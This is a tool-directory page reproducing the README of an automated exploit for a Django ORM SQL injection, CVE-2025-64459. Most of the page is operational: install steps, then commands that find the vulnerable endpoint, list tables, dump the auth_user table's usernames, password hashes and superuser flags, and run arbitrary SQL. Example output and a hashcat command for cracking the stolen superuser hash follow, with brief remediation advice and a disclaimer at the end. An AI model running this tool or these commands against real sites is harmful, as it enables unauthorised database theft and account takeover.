Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
RedTeamBrasil-CVE-2025-64459 โ€” NEO-SQLi โ€” exploit Django _connector SQL Injection (CVE-2025-64459) | canal RedTeam Brasil | Kitploit
Tools/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi โ€” exploit Django _connector SQL Injection (CVE-2025-64459) | canal RedTeam Brasil

View Repository
384 months agoNot yet reviewed

Most Popular

View all โ†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    ๐ŸŽฏ The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityโ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools โ†’
Share

connector-sqli

Automated SQL Injection exploitation in Django's ORM
Q-object _connector ยท CVE-2025-64459

cve django python license

๐ŸŽฅ RedTeam Brasil channel โ€” offensive security, hands-on, in Portuguese.

   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—    connector-sqli
   โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ•šโ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—   Django Q() `_connector` SQLi
   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•   โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•   CVE-2025-64459
   โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—   RedTeam Brasil channel
   โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•   youtube.com/@RedTeamBrasil
   โ•šโ•โ•  โ•šโ•โ•   โ•šโ•โ•   โ•šโ•โ•โ•โ•โ•โ•    authorized use only

๐Ÿ“Œ About the vulnerability โ€” CVE-2025-64459

Django's ORM builds filters using Q() objects. The constructor Q(*args, _connector=None, _negated=False, **kwargs) accepts the special kwarg _connector โ€” the string (AND/OR) that links conditions inside the WHERE.

In affected versions, this value was not sanitized and went raw into the SQL. When the application passes user input directly into Q() / .filter() / .exclude() / .get() via dictionary expansion โ€” the classic anti-pattern:

# โŒ VULNERABLE
posts = Post.objects.filter(Q(**request.GET))     # or .filter(**request.GET)

โ€ฆthe attacker controls _connector and injects arbitrary SQL between conditions (works on SQLite, PostgreSQL, MySQL, etc.).

ItemDetail
CVECVE-2025-64459
Componentdjango.db.models โ€” Q() / QuerySet (_connector and column aliases)
Affected versionsDjango < 4.2.26, < 5.1.14, < 5.2.8
Fixupdate to 4.2.26 / 5.1.14 / 5.2.8 (or later)
Impactarbitrary database read (UNION/blind) โ†’ credential dump and chain escalation

With DEBUG = True exploitation becomes trivial: Django's error page returns the assembled SQL, the base table, and the column count โ€” exactly what the tool uses to build the UNION by itself.


โšก Features

Generic (not tied to a target) and automated explorer:

  • ๐Ÿงญ Finds the endpoint automatically (--auto): crawls the home page + robots/sitemap + built-in wordlist, testing each route by Django's FieldError.
  • ๐Ÿ”Ž Detects the vulnerable endpoint and DEBUG=True via FieldError.
  • ๐Ÿง  Auto-discovers the base table and number of columns by reading the SQL from the error page.
  • ๐ŸŽฏ Finds the reflected column with markers โ†’ extraction by delimiters (independent of how the page renders).
  • ๐Ÿ—ƒ๏ธ List tables โ†’ list columns โ†’ dump any table (UNION-based).
  • ๐Ÿš Interactive mode (menu: table โ†’ columns โ†’ dump).
  • ๐Ÿงช Proxy (Burp/mitmproxy via --proxy) and HTTPS targets.

๐Ÿš€ Installation

git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

๐ŸŽฎ Usage

# 1) confirm the flaw
python3 rtb_connector_sqli.py -u http://TARGET check

# 2) list tables
python3 rtb_connector_sqli.py -u http://TARGET tables

# 3) list columns of a table
python3 rtb_connector_sqli.py -u http://TARGET columns auth_user

# 4) dump (specific columns or all)
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --where "is_superuser=1"

# 5) shortcut for Django users
python3 rtb_connector_sqli.py -u http://TARGET users

# 6) free SQL expression
python3 rtb_connector_sqli.py -u http://TARGET query "sqlite_version()"

# 7) INTERACTIVE MODE (menu table โ†’ columns โ†’ dump)
python3 rtb_connector_sqli.py -u http://TARGET shell

# 8) DON'T KNOW THE ROUTE? let it find it by itself
python3 rtb_connector_sqli.py -u http://TARGET auto              # just discovers and lists
python3 rtb_connector_sqli.py -u http://TARGET --auto shell      # discovers and already exploits

With --auto (or the auto subcommand) it crawls the home page + robots.txt/sitemap.xml and runs a built-in wordlist of listing/search routes (EN + PT-BR + APIs), marking those that return Django's FieldError. If you pass a wrong --path, it falls back to discovery mode automatically.

Options

FlagWhat it does
--path /searchvulnerable endpoint (default /list)
--autofinds the endpoint automatically (crawl + wordlist)
--wordlist routes.txtextra routes for discovery (one per line)
--base app_modelforces the base table (if auto-detection fails)
--proxy http://127.0.0.1:8080sends everything to Burp / mitmproxy
# everything through Burp
python3 rtb_connector_sqli.py -u http://TARGET --proxy http://127.0.0.1:8080 users

# or via environment variable (without the flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://TARGET shell

๐Ÿ–ฅ๏ธ Example output

[*] Target: http://TARGET/list
[+] Model fields (6): author, content, created_at, id, status, title
[+] SQLi confirmed in `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Base table: <app>_<model>   ยท   columns in SELECT: 6
[+] Reflected column (read): position 4
โ”Œโ”€โ”€ auth_user (N)
โ”‚ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
โ””โ”€โ”€

With the superuser hash in hand:

hashcat -m 10000 hash.txt rockyou.txt      # Django uses pbkdf2_sha256

๐Ÿ›ก๏ธ Remediation

  1. Update Django to 4.2.26 / 5.1.14 / 5.2.8+.
  2. Never pass request.GET directly to Q()/.filter(). Use allow-list:
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False in production (don't leak SQL/tables/settings).
  4. Database user with least privilege.

โš–๏ธ Legal disclaimer

Educational tool and for authorized testing only (labs, CTFs, in-scope bug bounty, contracted pentest). Use against systems without explicit authorization is a crime โ€” you are solely responsible.


Made by RedTeam Brasil ยท liked it? leave a like and subscribe to the channel.

Download Tool